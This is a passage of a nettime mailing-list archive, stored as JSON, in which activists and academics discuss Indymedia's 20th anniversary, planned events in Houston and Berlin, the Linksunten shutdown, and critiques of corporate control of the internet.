                        "content": "\n  \n  \n    Hello nettime,\n    and Tish, thx for posting the link to the indy event in Houston !\n    reposting here below... \n    \n    because your post is not showing up in the list archives.\n    ( perhaps because it's a reply To me, and Then cc'd to list...\n      not sure )\n    will be in touch, if we get something happening in Berlin... \n    \n    all the best,\n    p.\n    \n    \n      \n      -------- Forwarded Message --------\n      \n        \n          \n            Subject:\n            \n            Re: <nettime> 20 years of Indymedia: Where are we\n              now ?!\n          \n          \n            Date: \n            Tue, 10 Sep 2019 11:51:54 -0500\n          \n          \n            From: \n            tish stringer <tish@rice.edu>\n          \n          \n            To: \n            podinski <podinski@mailbox.org>\n          \n          \n            CC: \n            nettime-l@mail.kein.org <nettime-l@mail.kein.org>,\n              Hoofd, I.M. (Ingrid) <I.M.Hoofd@uu.nl>, indymedia\n              encuentro <indyat20@dangerousmedia.org>\n          \n        \n      \n      \n      \n      \n      Hello Nettime!\n      \n      \n      I\u2019m one of the organizers of the indy20 encuentro\n        event in Houston, Texas. We are having an art show, film\n        festival and panels to celebrate indymedia. \n\nWe would LOVE to do\n        some type of simulcast on N30 if any other groups are gathering.\n        We know of some events in Argentina and Seattle we are hoping to\n        coordinate with. \n\nWe are hoping there will be loads of\n        decentralized celebrations but of course all are welcome at our\n        event. I threw up a very rough website this weekend that will\n        improve in the coming days with the full schedule etc. but feel\n        free to pass it along if others are looking to get in touch with\n        us.\n\n\n      \n      \n      http://indy20.dangerousmedia.org/\n      \n      \n      Cheers!\n      Tish\n      \n      \n      \n        \n          \n            On Sep 10, 2019, at 6:19 AM, podinski <podinski@mailbox.org>\n              wrote:\n            \n            \n              Hi\n                Ingrid et al,\n              \n              \n              hmm,\n                a little shocked that so few want to discuss the\n                indymedia platform topic... and what it means for\n                today's struggles...\n\n\n              but\n                na ja, so it goes in the web flood of efficiently\n                cubicled (un-)solidarities...\n\n\n              \n              \n              On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n              \n              \n                Hello ex-((i))\n                  and ex-N5M3 folks,\n                \n                \n                Just like to\n                  point out that\n\nhttps://www.indymedia.nl/\n\nis\n                  still very much alive! I haven't been involved for\n                  many years now, but perhaps we could do something in\n                  Amsterdam, or barring that something in Berlin\n                  together with the Dutch ((i)) folks? I'd be happy to\n                  be involved somehow too!\n              \n              sorry\n                for slow reply...\n\n\n              things\n                have been a little overloaded...\n\n\n              \n              good\n                to hear that NL ((i)) is still kicking... i believe\n                there are several still out there providing useful\n                public channels ( as mentioned in the article, ie.\n                Argentina ) !\n              \n              Not\n                quite sure how to proceed with any concrete event plans\n                for Nov.... or beyond.\n\n\n              but\n                happy to hear that there are some comrades out there who\n                want to be involved...\n              \n              Should\n                be a topic at Transmediale 2019 \"e2e\" network theme...\n              https://2020.transmediale.de/festival-2020\n              \n              but\n                one always has to wonder just how far out of touch the\n                arts+cult+showtime sectors are with pragmatic activism +\n                praxis ...\n              i\n                will check in to see, if not already too late.\n\n\n              \n              my\n                cynical 2cent bits for the day...\n              \n              podinski\n              \n              \n\n\n              \n              \n              \n              \n              \n              \n\n\n              \n                \n                \n                Cheers, Ingrid.\n                \n                \n                \n                  \n                  \n                  \n                  From:\n\nnettime-l-bounces@mail.kein.org\n\n<nettime-l-bounces@mail.kein.org>\n\non behalf\n                      of podinski\n\n<podinski@mailbox.org>\n                      Sent:\n\n06\n                      September 2019 15:42\n                      To:\n\nnettime-l@mail.kein.org\n\n<nettime-l@mail.kein.org>\n                      Subject:\n\n<nettime>\n                      20 years of Indymedia: Where are we now ?!\n                    \n\n\n                  \n                  \n                        hello N-time,\n\n\n                          \n                          This November INDYMEDIA \u2013 (( i )) \u2013 will be 20\n                          years old !!\n                          \n                          April Glaser writes a good short history of\n                          the pioneering\n                          network/platform/newsfeed \u2026 for Logic Magazine\n                          ( here ). But there\u2019s\n                          probably many more things that need to be\n                          analyzed in the history of the\n                          Internet and digital culture to understand and\n                          assess whether \u201cAnother\n                          Network Is Possible\u201c\u2026 and where + how tactical\n                          media can unite\n                          communities tomorrow\u2026\n                          \n                          https://logicmag.io/bodies/another-network-is-possible/\n                          \n                          ...\n                          \n                          XLterrestrials are working on an expanded post\n                          about ALL that\u2026\n                          \n                          http://xlterrestrials.org/plog/?p=19424\n                          \n                          excerpt from Part 1: Where are we now ?\n                          \n                          >\n                          \n                          ( that haunting + sad final-years-Bowie tune\n                          is playing back in our\n                          heads as we write\u2026 )\n                          \n                          This is an extremely complicated discussion,\n                          and it will take more than\n                          a short essay to sort through all the angles\n                          and dilemmas we find\n                          ourselves soaking in with the cybernetic\n                          technodystopias +\n                          technospherical spectrum +/or rectal probes of\n                          the military/corporate\n                          communication industries, now oozing\n                          ubiquitous through all the tissues\n                          and orifices of human + social organization\n                          like electro-shock +\n                          doctrines + disruption therapies to cure our\n                          inherited\n                          already-anthropocene-driven madness\u2026 by\n                          accelerating it \u2026 like: Here\n                          take this, it\u2019s another anthropo-scenic\n                          downloading spiral into\n                          Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n                          \n                          >\n                          \n                          ...\n                          \n                          On a tangent note, it would be nice to put on\n                          some Indy-inspired type\n                          tactical media event...\n                          \n                          perhaps in the Btropolis ( Berlin ) for this\n                          anniversary date...\n                          \n                          Any ((i)) and N5Minutes veterans wanna play\n                          with us on that ? get in touch !\n                          \n                          There is already something planned in Houston\n                          hosted by IMC folks there\n                          ( at Rice U. ?) ...\n                          \n                          but nothing in the EU territories yet, as far\n                          as we know... and WHY\n                          Btropolis?\n                          \n                          One of its IMC sites is still active,\n                          \n                          and its more radical sibling offshoot, got the\n                          crackdown + kicked off\n                          the webz 2 years ago. ( Linksunten )...\n                          \n                          And there's been heated discussions here about\n                          WHAT'S NEXT !!\n                          \n                          ...\n                          \n                          liebegreetz !\n                          \n                          podinski\n                          \n                          \n                          0~~~~O-----o\n                          www.xlterrestrials.org/plog\n\n\u2028\n                          \n\narts + praxis organisms\n                          o-----O~~~~~0\n                          \n                          \n                          \n                          \n                          \n                          #\n\n distributed via <nettime>: no\n                          commercial use without permission\n                          #\n\n <nettime>\n\n is a moderated mailing\n                          list for net criticism,\n                          #\n\n collaborative text filtering and cultural\n                          politics of the nets\n                          #\n\n more info:\n\nhttp://mx.kein.org/mailman/listinfo/nettime-l\n                          #\n\n archive:\n\nhttp://www.nettime.org\n\ncontact:\n\nnettime@kein.org\n                          #\n\n @nettime_bot tweets mail w/ sender unless\n                          #ANON is in Subject:\n                      \n                \n              \n              \n              #\n                \n\ndistributed via <nettime>: no commercial use\n                without permission\n              #\n                \n\n<nettime> \n\nis a moderated mailing list for net\n                criticism,\n              #\n                \n\ncollaborative text filtering and cultural politics of\n                the nets\n              #\n                \n\nmore info: http://mx.kein.org/mailman/listinfo/nettime-l\n              #\n                \n\narchive: http://www.nettime.org\n                contact: nettime@kein.org\n              #\n                \n\n@nettime_bot tweets mail w/ sender unless #ANON is in\n                Subject:\n          \n        \n        \n        \n          Dr. Tish Stringer\n            Lecturer and Film Program Manager\n            Department of Visual and Dramatic Arts\n            Rice University\n\n\n            \n            mail: Rice Media Center\n            6100 Main St. MS- 549\n            Houston, Texas \n\n77005\n            \n            email:\n\ntish@rice.edu\n            Phone: 713-348-3136\n            Fax: 713-348-5910\n          \n          \n          \n        \n        \n      \n    \n  \n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00054",
                        "date": "Fri, 13 Sep 2019 16:18:17 +0200",
                        "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                        "message-id": "30c9bc7d&#45;e1fe&#45;3dd7&#45;086c&#45;c5a085c58d94@mailbox.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00054.html",
                        "content-type": "multipart/mixed",
                        "author_name": "podinski",
                        "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "tacira@riseup.net",
                                "content": "hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n\nas for a long time user and educator on free technologies for creative\nmedia production I was a bit skeptical on the article -  we dont need to\ncreate one more leftist tool, but re-ocuppy with purpose and love all\ncollective maintained tools - perhaps more influenced by intersectional\npoltics (I am reading Ocalan :) but the networkS are alive, dormant\nbecause NOT dispersed and very much re-creating itself all the time.\nfree philosophy and ethics becomes just more urgent then ever! As Krenak\nan indigenous leader in brazil says we have been using \"colored\nparachutes\" in this fall \"being able to maintain our subjectivities, our\nvisions, our poetics about existence\". \n\nwe are in shock with the fire but its from the ashes that we create! \n\nhere a recent ongoing work from the brazilian cyberfeminists\nhttps://midiatatica.desarquivo.org/ tactical archives from the last\ndecade by collective perspectives. \n\nbest for all!\nt\n\n\nEm 2019-09-10 08:19, podinski escreveu:\n> Hi Ingrid et al, \n> \n>  hmm, a little shocked that so few want to discuss the indymedia\n> platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled\n> (un-)solidarities... \n> \n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n> \n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very\n>> much alive! I haven't been involved for many years now, but perhaps\n>> we could do something in Amsterdam, or barring that something in\n>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>> involved somehow too!\n>  sorry for slow reply... \n> things have been a little overloaded... \n> \n> good to hear that NL ((i)) is still kicking... i believe there are\n> several still out there providing useful public channels ( as\n> mentioned in the article, ie. Argentina ) !\n> \n> Not quite sure how to proceed with any concrete event plans for\n> Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to\n> be involved...\n> \n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n> \n> but one always has to wonder just how far out of touch the\n> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n> \n> my cynical 2cent bits for the day...\n> \n> podinski\n> \n>> Cheers, Ingrid.\n>>\n>> -------------------------\n>>\n>> From: nettime-l-bounces@mail.kein.org\n>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>> <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time,\n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>> there\u2019s\n>> probably many more things that need to be analyzed in the history of\n>> the\n>> Internet and digital culture to understand and assess whether\n>> \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>>>\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more\n>> than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the\n>> military/corporate\n>> communication industries, now oozing ubiquitous through all the\n>> tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>> Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>>>\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired\n>> type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>> touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks\n>> there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked\n>> off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog [1] \u2028\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n>  \n> \n> Links:\n> ------\n> [1] http://www.xlterrestrials.org/plog\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00049",
                                "date": "Wed, 11 Sep 2019 05:38:06 -0700",
                                "to": "podinski <podinski@mailbox.org>",
                                "message-id": "dd040be8c1c3fa9b3d539f1881a529fa@riseup.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00049.html",
                                "content-type": "text/plai",
                                "author_name": "tacira",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            },
                            {
                                "from": "podinski <podinski@mailbox.org>",
                                "content": "Hi Tati et al,\n\na pleasure to read some news from ya...\n\n+ thx for the link !\n\n...\n\nOn 9/11/19 2:38 PM, tacira@riseup.net wrote:\n> hi pod! long time no see, hi ingrid, tatiana from abya yala :)\n>\n> as for a long time user and educator on free technologies for creative\n> media production I was a bit skeptical on the article -  we dont need to\n> create one more leftist tool, but re-ocuppy with purpose and love all\n> collective maintained tools - perhaps more influenced by intersectional\n> poltics (I am reading Ocalan :) but the networkS are alive, dormant\n> because NOT dispersed and very much re-creating itself all the time.\n> free philosophy and ethics becomes just more urgent then ever! As Krenak\n> an indigenous leader in brazil says we have been using \"colored\n> parachutes\" in this fall \"being able to maintain our subjectivities, our\n> visions, our poetics about existence\". \nyes, well it is not hard for me to be critical about More leftist tools...\nwe are getting very lost - and abused - in all the tooling around.\n\nAnd i think the article may point out clearly towards HOW we lost one\npossible road that the net could have taken to network our communities,\nsolidarities and resistance... \n\nI probably dont need to go into the details here of how that all got\nco-opted and used in the creepiest of ways to consolidate power and turn\nus all into its subjects and products.  ( Neo-liberal + libertarian\nnetz, surveillance krapitalism and all that mess )\n\nIF the net can be reclaimed at all from the monstrous sprawl of\nill-intents...\nit would probably require new architectures that cannot be easily\nswallowed up by the Titans' toxic web.\n\nAs Rasmus Fleischer pointedly remarked at one of the recent\nTransmediales : this is what a failed rev looks like.\n\nI don't have any clear proposals for that, but that could be part of\nwhat would make sense with this ((i)) anniversary...\nto understand what we lost, and how we got where we are... and what\nrecourse makes sense now...\n\n...\n\nFrom an XLterrestrial perspective, it might be an important tactical\nmaneuver to get our feet back on the ground, locally...  and \"shield\nourselves\" from the fallout of having \"lost the digital revolution\" ...\nand get more focused on our biological + ecological struggles.\n\n...\n\nXLt is perhaps far more optimistic about what we can achieve by learning\nfrom the cultures of resistance in the global south... and outside all\nthe tech hype !\nAnd not allowing the domination of tech environments to be our\nsurrogated means to imagining any new re-occupying strategies.\n\n...\n\nJust read yesterday an interesting story about Food Sovereignty and in\n2011 Russia... 40% of the food came from Dacha gardens... \n\n\"dacha gardens produced over 80% of the countries fruit and berries,\nover 66% of the vegetables, almost 80% of the potatoes and nearly 50% of\nthe nations milk, much of it consumed raw. \"\n\nhttp://naturalhomes.org/naturalliving/russian-dacha.htm?fbclid=IwAR1ia40bjy-j6-1H8DnGejakGBeg0Gn1VqED6sjk5A6sN8KOGg35hyn7pkE\n\nhavent checked out the accuracy of this, but the shift in topics +\norganizational objectives...  seems very revelant !\n\n...\n\nJust last year Chaos Congress teamed up with FifF and others to put on a\nconference called Bits Und Baume ( and trees ) to finally take seriously\nthe ecological consequences of the poorly miscalculated unsustainability\nof all our endlessly expanding high tech cultures.\n\nIt only took 35 years for CCC to get around to this crucial topic... ;)\n... but i think some good things are coming together for further\ninvestigations into realistic terrestrial-based missions ... and less in\n\"hackers on the moon\".\n\nhttps://bits-und-baeume.org/en\n\n...\n\nLastly,\nto emphasize my points...\n\ni leave you all with this talk from Boaventura de Sousa Santos ...\nat HKW's Now is The Time Of Monsters : What comes after Nations... in\n2017...\n\n( which followed a talk from Felix Stadler on Protocols - and tech - for\nDemocracy? )\n\nAnd it might be a useful reminder to help put things into proper\nperspective and more productive debates...\nand more paying attention to what we don't necessarily see on our (Euro)\nscreens...\n\nthings that are working ... outside those corporate, futurist +\nindustrial hives !\n\nStaatstechnologien - Democracy | Boaventura de Sousa Santos\nhttps://www.hkw.de/de/app/mediathek/video/55789\n\n\"converting ruins into seeds\"\n\nand i love the last line...\n\n\"i want us to be competent rebels !\"\n\npodinski\n\n\n\n\n\n \n\n\n\n\n   \n\n\n>\n> we are in shock with the fire but its from the ashes that we create! \n>\n> here a recent ongoing work from the brazilian cyberfeminists\n> https://midiatatica.desarquivo.org/ tactical archives from the last\n> decade by collective perspectives. \n>\n> best for all!\n> t\n>\n>\n> Em 2019-09-10 08:19, podinski escreveu:\n>> Hi Ingrid et al, \n>>\n>>  hmm, a little shocked that so few want to discuss the indymedia\n>> platform topic... and what it means for today's struggles... \n>> but na ja, so it goes in the web flood of efficiently cubicled\n>> (un-)solidarities... \n>>\n>> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>>\n>>> Hello ex-((i)) and ex-N5M3 folks,\n>>>\n>>> Just like to point out that https://www.indymedia.nl/ is still very\n>>> much alive! I haven't been involved for many years now, but perhaps\n>>> we could do something in Amsterdam, or barring that something in\n>>> Berlin together with the Dutch ((i)) folks? I'd be happy to be\n>>> involved somehow too!\n>>  sorry for slow reply... \n>> things have been a little overloaded... \n>>\n>> good to hear that NL ((i)) is still kicking... i believe there are\n>> several still out there providing useful public channels ( as\n>> mentioned in the article, ie. Argentina ) !\n>>\n>> Not quite sure how to proceed with any concrete event plans for\n>> Nov.... or beyond. \n>> but happy to hear that there are some comrades out there who want to\n>> be involved...\n>>\n>> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n>> https://2020.transmediale.de/festival-2020\n>>\n>> but one always has to wonder just how far out of touch the\n>> arts+cult+showtime sectors are with pragmatic activism + praxis ...\n>> i will check in to see, if not already too late. \n>>\n>> my cynical 2cent bits for the day...\n>>\n>> podinski\n>>\n>>> Cheers, Ingrid.\n>>>\n>>> -------------------------\n>>>\n>>> From: nettime-l-bounces@mail.kein.org\n>>> <nettime-l-bounces@mail.kein.org> on behalf of podinski\n>>> <podinski@mailbox.org>\n>>> Sent: 06 September 2019 15:42\n>>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>>\n>>> hello N-time,\n>>>\n>>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>>\n>>> April Glaser writes a good short history of the pioneering\n>>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But\n>>> there\u2019s\n>>> probably many more things that need to be analyzed in the history of\n>>> the\n>>> Internet and digital culture to understand and assess whether\n>>> \u201cAnother\n>>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>>> communities tomorrow\u2026\n>>>\n>>> https://logicmag.io/bodies/another-network-is-possible/\n>>>\n>>> ...\n>>>\n>>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>>\n>>> http://xlterrestrials.org/plog/?p=19424\n>>>\n>>> excerpt from Part 1: Where are we now ?\n>>>\n>>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>>> heads as we write\u2026 )\n>>>\n>>> This is an extremely complicated discussion, and it will take more\n>>> than\n>>> a short essay to sort through all the angles and dilemmas we find\n>>> ourselves soaking in with the cybernetic technodystopias +\n>>> technospherical spectrum +/or rectal probes of the\n>>> military/corporate\n>>> communication industries, now oozing ubiquitous through all the\n>>> tissues\n>>> and orifices of human + social organization like electro-shock +\n>>> doctrines + disruption therapies to cure our inherited\n>>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like:\n>>> Here\n>>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>>\n>>> ...\n>>>\n>>> On a tangent note, it would be nice to put on some Indy-inspired\n>>> type\n>>> tactical media event...\n>>>\n>>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>>\n>>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in\n>>> touch !\n>>>\n>>> There is already something planned in Houston hosted by IMC folks\n>>> there\n>>> ( at Rice U. ?) ...\n>>>\n>>> but nothing in the EU territories yet, as far as we know... and WHY\n>>> Btropolis?\n>>>\n>>> One of its IMC sites is still active,\n>>>\n>>> and its more radical sibling offshoot, got the crackdown + kicked\n>>> off\n>>> the webz 2 years ago. ( Linksunten )...\n>>>\n>>> And there's been heated discussions here about WHAT'S NEXT !!\n>>>\n>>> ...\n>>>\n>>> liebegreetz !\n>>>\n>>> podinski\n>>>\n>>> 0~~~~O-----o\n>>> www.xlterrestrials.org/plog [1] \u2028\n>>> arts + praxis organisms\n>>> o-----O~~~~~0\n>>>\n>>> #  distributed via <nettime>: no commercial use without permission\n>>> #  <nettime>  is a moderated mailing list for net criticism,\n>>> #  collaborative text filtering and cultural politics of the nets\n>>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>  \n>>\n>> Links:\n>> ------\n>> [1] http://www.xlterrestrials.org/plog\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n>> #  archive: http://www.nettime.org contact: nettime@kein.org\n>> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00050",
                                "date": "Wed, 11 Sep 2019 19:40:15 +0200",
                                "to": "\"nettime-l@mail.kein.org\" <nettime-l@mail.kein.org>",
                                "message-id": "04c850bf&#45;988b&#45;7a06&#45;ea4f&#45;bed0c7dc9af8@mailbox.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1909/msg00050.html",
                                "content-type": "text/plai",
                                "author_name": "podinski",
                                "subject": "Re: <nettime> 20 years of Indymedia: Where are we now ?!"
                            },
                            {
                                "from": "podinski <podinski@mailbox.org>",
                                "content": "Hi Matze,\n\ni tried recently to follow and catch-up on the debacle of linksunten and\nstate censorship...\nand picked up the pamphlet :\nverboten ! zur Kriminalisierung von Indymedia linksunten\nvia Rote Hilfe e.v.\n\nbut havent yet had time to get thru it.\n\n...\n\nre: the issue of the liberated webs and copy left...\ni have begun to think that another unexpected + massive fallout has\noccurred with all this online free content falling into... the Titan\ngrip...\n\nand in the idealism of trying to \" common-ize\" and/or \"dismantle\ncapitalism\" on the net, but not in the AFK world... as the majority of\nus still live in the realms of landlord strangleholds...\n \nprotection of labor and the livelihoods of content producers and indy\npublishers + DIY distro merchants was not very well considered... in the\neco-systems of books, media, data, small business and shop owners... \nand people's having to make their money to survive... pay rent.... or\nrecoup their production budgets ( see Astra Taylor's The People's\nPlatform )...\n\nCopyright is a completely re-openable subject... of hot debate....\n\nwhich HKW is also being revisited again this year ( 100 Years Of\nCopyright and Part 2 : Right the Right...  this Nov. )\n... but i am not so hopeful they will handle the topic radically enough,\nbecause in the end they are already looking for tech solutionism to fill\nin the grim situations... ie blockchain in the music industry ?\n\nbut no time to get very sophisticated in that beastly and tedious topic.\n\n...\n\ncheers,\np.\n\n\n  \nOn 9/10/19 5:40 PM, Matze Schmidt wrote:\n> One more:\n>\n> Sebastian Luetgert in an interview mit textz.com (in German): \n> https://de.indymedia.org/2004/03/76975.shtml\n>\n> Am 10.09.2019 um 16:12 schrieb Matze Schmidt <matzeschmidt@matzeschmidt.de>:\n>\n> Hi,\n>\n> I remember when topics died. Esp. when Sebasian Luetgert 10?, 15? years ago was about sceptical talking about indymedia some years after the beginning of this platform. The radical pragmatists in Berlin sat there with a shrug.\n>\n> What's more important now is a struggle by a left against a state as a censor amidst the general new swing to the right, see here in German:\n>\n> https://twitter.com/zineworkshop/status/1161884759364198400?s=20\n>\n> Matze\n>\n> Am 10.09.2019 um 13:19 schrieb podinski <podinski@mailbox.org>:\n>\n> Hi Ingrid et al,\n>\n> hmm, a little shocked that so few want to discuss the indymedia platform topic... and what it means for today's struggles... \n> but na ja, so it goes in the web flood of efficiently cubicled (un-)solidarities... \n>\n>\n> On 9/7/19 10:05 AM, Hoofd, I.M. (Ingrid) wrote:\n>> Hello ex-((i)) and ex-N5M3 folks,\n>>\n>> Just like to point out that https://www.indymedia.nl/ is still very much alive! I haven't been involved for many years now, but perhaps we could do something in Amsterdam, or barring that something in Berlin together with the Dutch ((i)) folks? I'd be happy to be involved somehow too!\n> sorry for slow reply... \n> things have been a little overloaded... \n>\n> good to hear that NL ((i)) is still kicking... i believe there are several still out there providing useful public channels ( as mentioned in the article, ie. Argentina ) !\n>\n> Not quite sure how to proceed with any concrete event plans for Nov.... or beyond. \n> but happy to hear that there are some comrades out there who want to be involved...\n>\n> Should be a topic at Transmediale 2019 \"e2e\" network theme...\n> https://2020.transmediale.de/festival-2020\n>\n> but one always has to wonder just how far out of touch the arts+cult+showtime sectors are with pragmatic activism + praxis ...\n> i will check in to see, if not already too late. \n>\n> my cynical 2cent bits for the day...\n>\n> podinski\n>\n>\n>\n>\n>\n>\n>\n>\n>> Cheers, Ingrid.\n>>\n>>\n>> From: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of podinski <podinski@mailbox.org>\n>> Sent: 06 September 2019 15:42\n>> To: nettime-l@mail.kein.org <nettime-l@mail.kein.org>\n>> Subject: <nettime> 20 years of Indymedia: Where are we now ?!\n>>\n>> hello N-time, \n>>\n>> This November INDYMEDIA \u2013 (( i )) \u2013 will be 20 years old !!\n>>\n>> April Glaser writes a good short history of the pioneering\n>> network/platform/newsfeed \u2026 for Logic Magazine ( here ). But there\u2019s\n>> probably many more things that need to be analyzed in the history of the\n>> Internet and digital culture to understand and assess whether \u201cAnother\n>> Network Is Possible\u201c\u2026 and where + how tactical media can unite\n>> communities tomorrow\u2026\n>>\n>> https://logicmag.io/bodies/another-network-is-possible/\n>>\n>> ...\n>>\n>> XLterrestrials are working on an expanded post about ALL that\u2026\n>>\n>> http://xlterrestrials.org/plog/?p=19424\n>>\n>> excerpt from Part 1: Where are we now ?\n>>\n>> ( that haunting + sad final-years-Bowie tune is playing back in our\n>> heads as we write\u2026 )\n>>\n>> This is an extremely complicated discussion, and it will take more than\n>> a short essay to sort through all the angles and dilemmas we find\n>> ourselves soaking in with the cybernetic technodystopias +\n>> technospherical spectrum +/or rectal probes of the military/corporate\n>> communication industries, now oozing ubiquitous through all the tissues\n>> and orifices of human + social organization like electro-shock +\n>> doctrines + disruption therapies to cure our inherited\n>> already-anthropocene-driven madness\u2026 by accelerating it \u2026 like: Here\n>> take this, it\u2019s another anthropo-scenic downloading spiral into\n>> Stephen-Pinker-esque \"tech-n-progress\u201d Inc.\n>>\n>> ...\n>>\n>> On a tangent note, it would be nice to put on some Indy-inspired type\n>> tactical media event...\n>>\n>> perhaps in the Btropolis ( Berlin ) for this anniversary date...\n>>\n>> Any ((i)) and N5Minutes veterans wanna play with us on that ? get in touch !\n>>\n>> There is already something planned in Houston hosted by IMC folks there\n>> ( at Rice U. ?) ...\n>>\n>> but nothing in the EU territories yet, as far as we know... and WHY\n>> Btropolis?\n>>\n>> One of its IMC sites is still active,\n>>\n>> and its more radical sibling offshoot, got the crackdown + kicked off\n>> the webz 2 years ago. ( Linksunten )...\n>>\n>> And there's been heated discussions here about WHAT'S NEXT !!\n>>\n>> ...\n>>\n>> liebegreetz !\n>>\n>> podinski\n>>\n>>\n>> 0~~~~O-----o\n>> www.xlterrestrials.org/plog \n>>\n>> arts + praxis organisms\n>> o-----O~~~~~0\n>>\n>>\n>>\n>>\n>>\n>> #  distributed via <nettime>: no commercial use without permission\n>> #  <nettime>  is a moderated mailing list for net criticism,\n>> #  collaborative text filtering and cultural politics of the nets\n>> #  more 